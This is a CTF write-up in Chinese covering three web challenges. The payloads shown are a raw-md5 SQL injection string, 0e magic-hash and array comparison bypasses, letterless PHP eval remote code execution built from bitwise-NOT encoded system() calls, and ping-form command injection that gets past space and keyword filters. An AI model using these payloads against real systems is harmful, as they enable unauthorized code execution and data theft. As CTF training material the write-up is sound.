1.[BJDCTF 2020]easy_md5
打开后是一个提交查询的页面。猜测SQL注入,输入1,1’,1‘’,1‘ or 1=1#都是没有回显。抓包看一下。
可以看到SQL语句:select * from 'admin' where password=md5($pass,true)
去搜一下md5($pass,true)是什么东西,
md5这个函数,语法:md5(string,raw),
参数 | 描述 |
string | 必需。要计算的字符串。 |
raw | 可选。
|
详细解释看:https://blog.csdn.net/March97/article/details/81222922
当我们传入的pass=ffifdyop时,MD5值为'or'6É]é!r,ùíb
他的单引号会和前面的SQL语句闭合,同时会把这个MD5函数绕过,所以可以构造payloud:
?password=ffifdyop,就会转到如下页面,查看源代码可以看到代码。
这里涉及到MD5的!=和==两个弱比较,字符串的弱比较只能采用0e绕过,需要注意的是,0e后面不能有字母的存在,我们只需要让MD5的值开头是0e且后面不为字母就可以,去搜索
所有构造payloud:?a=s878926199a&b=s155964671a
得到一串代码,涉及到!==和===的强比较,用到数组绕过,
md5不能加密数组 ,如 a[]=1 , b[]=1 , 传入数组会报错,但会继续执行并且返回结果为null
比如传入md5(a[]=1)==md5(b[]=2),实际上是null==null,所以数组进行md5弱比较时,结果相等
所以构造POST传参:param1[]=1¶m2[]=2,
得到flag。
该题涉及到MD5函数的绕过,字符串的弱比较0e绕过,强比较的数组绕过。
2.[SWPUCTF 2021 新生赛]hardrce
打开是代码,进行代码审计:
<?php
header("Content-Type:text/html;charset=utf-8");
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['wllm']))
{
$wllm = $_GET['wllm'];
$blacklist = [' ','\t','\r','\n','\+','\[','\^','\]','\"','\-','\$','\*','\?','\<','\>','\=','\`',];
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/m', $wllm)) {
die("LTLT说不能用这些奇奇怪怪的符号哦!");
}}
if(preg_match('/[a-zA-Z]/is',$wllm))
{
die("Ra's Al Ghul说不能用字母哦!");
}
echo "NoVic4说:不错哦小伙子,可你能拿到flag吗?";
eval($wllm);
}
else
{
echo "蔡总说:注意审题!!!";
}
?> 蔡总说:注意审题!!!
传参wllm,有一个黑名单,正则匹配不能够有字母,无字母的rce,用取反绕过,黑名单里没有~(取反符号)和()。构造?wllm=system('ls /');
system 和ls /分别进行取反。//单引号不用管
<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'ls /');
?>
输出:
%8C%86%8C%8B%9A%92
%93%8C%DF%D0
所以构造:?wllm=(~%8C%86%8C%8B%9A%92)(~%93%8C%DF%D0);注意要加;
同样的把cat /flllllaaaaaaggggggg取反:
<?php
echo urlencode(~'system');
echo "\n";
echo urlencode(~'cat /flllllaaaaaaggggggg');
?>
输出:
%8C%86%8C%8B%9A%92
%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98
同理构造payloud:?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);
得到flag:
本题涉及到rce无字母取反绕过
取反绕过
//取反传参
<?php
$a = "system";
$b = "cat /flag";
$c = urlencode(~$a);
$d = urlencode(~$b);
//输出得到取反传参内容
echo "?cmd=(~".$c.")(~".$d.");"
?>
3.[GXYCTF 2019]Ping Ping Ping
一个ping页面,ping一下127.0.0.1
在后面加入ls,如:127.0.0.1;ls打开所有目录:
有flag.php和index.php,用cat命令打开flag.php;
构造:127.0.0.1;cat flag.php,报错,不能有空格。
空格可以用$IFS$来代替,构造:127.0.0.1;cat$IFS$flag.php,报错,过滤了flag
用拼接法绕过,构造127.0.0.1;b=ag;a=fl;cat$IFS$$a$b.php,ping成功,查看源代码就可以看到flag,这里b要在a前面,因为a在前面报错了,可能进行了字符串匹配。
该题涉及到空格的绕过,flag的拼接绕过。